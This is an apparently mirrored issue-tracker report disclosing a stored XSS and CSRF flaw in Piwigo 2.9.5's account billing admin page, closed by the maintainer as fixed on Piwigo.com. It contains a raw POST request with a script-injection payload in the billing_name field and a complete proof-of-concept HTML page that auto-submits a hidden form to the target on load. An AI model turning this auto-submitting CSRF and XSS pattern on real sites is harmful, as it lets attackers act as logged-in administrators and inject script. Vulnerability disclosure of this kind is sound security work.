adam/Piwigo
1
0 Fork 0
mirror of https://github.com/Piwigo/Piwigo.git synced 2026-11-03 07:22:22 +01:00
Code Issues 657 Packages Projects Releases Wiki Activity

Bug Report: XSS in admin.php?page=account_billing + CSRF #907

New Issue
Closed
opened 2026-10-05 00:23:27 +02:00 by adam · 1 comment
adam commented 2026-10-05 00:23:27 +02:00
Owner
Copy link
Copy source

Hello, there is a CSRF and XSS on Piwigo version 2.9.5, on path /admin.php?page=account_billing
similar as #822 but this one are fixed. i made a .gif for example. The problem is that the anti-csrf token called "pwg_token" is not present o that page, and all parameters of billing endpoint are vulnerable to XSS.

xss-billing

The request above illustrated the fact.
################################################

POST /admin.php?page=account_billing HTTP/1.1
Host: pocs.piwigo.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 151
DNT: 1
Connection: close
Cookie: pwg_id=tu9uscakg4ogosqtna789j24l5
Upgrade-Insecure-Requests: 1

billing_country=BR&vat_number=xssa&billing_name=xssa%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&company=xssb&billing_address=xssc&submitBillingInfos=

################################################

Attacker script:

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8" />
        <title>CSRF PoC</title>
        <style type="text/css">
        body {
            display:flex;
            flex-direction:column;
            justify-content:center;
            min-height:100vh;
            margin:0;
        }
        p {
            display:flex;
            align-self:center;
            font-size:0.8rem;
            font-family:sans-serif;
            font-weight:bold;
            text-transform:uppercase;
            letter-spacing:0.1rem;
        }
        </style>
    </head>
    <body>
        <p>CSRF PoC Billing Admin</p>
         <html>
    <form id="myForm" action="https://pocs.piwigo.com/admin.php?page=account_billing" method="POST">
      <input type="hidden" name="billing&#95;country" value="BR" />
      <input type="hidden" name="vat&#95;number" value="xssa" />
      <input type="hidden" name="billing&#95;name" value="xssa&quot;&gt;&lt;script&gt;alert&#40;1&#41;&lt;&#47;script&gt;" />
      <input type="hidden" name="company" value="xssb" />
      <input type="hidden" name="billing&#95;address" value="xssc" />
      <input type="hidden" name="submitBillingInfos" value="" />
      <script>

    function submitform()
        {
            document.getElementById("myForm").submit();
        }
        onload=submitform();
    </script>
    </form>
    </body>
</html>
Hello, there is a CSRF and XSS on Piwigo version 2.9.5, on path **/admin.php?page=account_billing** similar as #822 but this one are fixed. i made a .gif for example. The problem is that the anti-csrf token called "pwg_token" is not present o that page, and all parameters of billing endpoint are vulnerable to XSS. ![xss-billing](https://user-images.githubusercontent.com/52087219/60220944-2066f480-984e-11e9-8b43-ae41193b6a63.gif) The request above illustrated the fact. ################################################ ``` POST /admin.php?page=account_billing HTTP/1.1 Host: pocs.piwigo.com User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 151 DNT: 1 Connection: close Cookie: pwg_id=tu9uscakg4ogosqtna789j24l5 Upgrade-Insecure-Requests: 1 billing_country=BR&vat_number=xssa&billing_name=xssa%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&company=xssb&billing_address=xssc&submitBillingInfos= ``` ################################################ Attacker script: ``` <!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>CSRF PoC</title> <style type="text/css"> body { display:flex; flex-direction:column; justify-content:center; min-height:100vh; margin:0; } p { display:flex; align-self:center; font-size:0.8rem; font-family:sans-serif; font-weight:bold; text-transform:uppercase; letter-spacing:0.1rem; } </style> </head> <body> <p>CSRF PoC Billing Admin</p> <html> <form id="myForm" action="https://pocs.piwigo.com/admin.php?page=account_billing" method="POST"> <input type="hidden" name="billing&#95;country" value="BR" /> <input type="hidden" name="vat&#95;number" value="xssa" /> <input type="hidden" name="billing&#95;name" value="xssa&quot;&gt;&lt;script&gt;alert&#40;1&#41;&lt;&#47;script&gt;" /> <input type="hidden" name="company" value="xssb" /> <input type="hidden" name="billing&#95;address" value="xssc" /> <input type="hidden" name="submitBillingInfos" value="" /> <script> function submitform() { document.getElementById("myForm").submit(); } onload=submitform(); </script> </form> </body> </html> ``` <!-- github-sync-id:461220574 -->
adam closed this issue 2026-10-05 00:23:27 +02:00
adam commented 2026-10-05 00:23:28 +02:00
Author
Owner
Copy link
Copy source

OK, fixed on production. This issue is very specific to Piwigo.com, not applicable to Piwigo.

OK, fixed on production. This issue is very specific to Piwigo.com, not applicable to Piwigo. <!-- github-comment-id:506340163 -->
Sign in to join this conversation.
No Branch/Tag Specified
Labels
No items
No labels
Milestone
No items
No Milestone
Projects
Clear projects
No projects
Assignees
Clear assignees
adam (Adam Wojcieszonek)
No Assignees
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: adam/Piwigo#907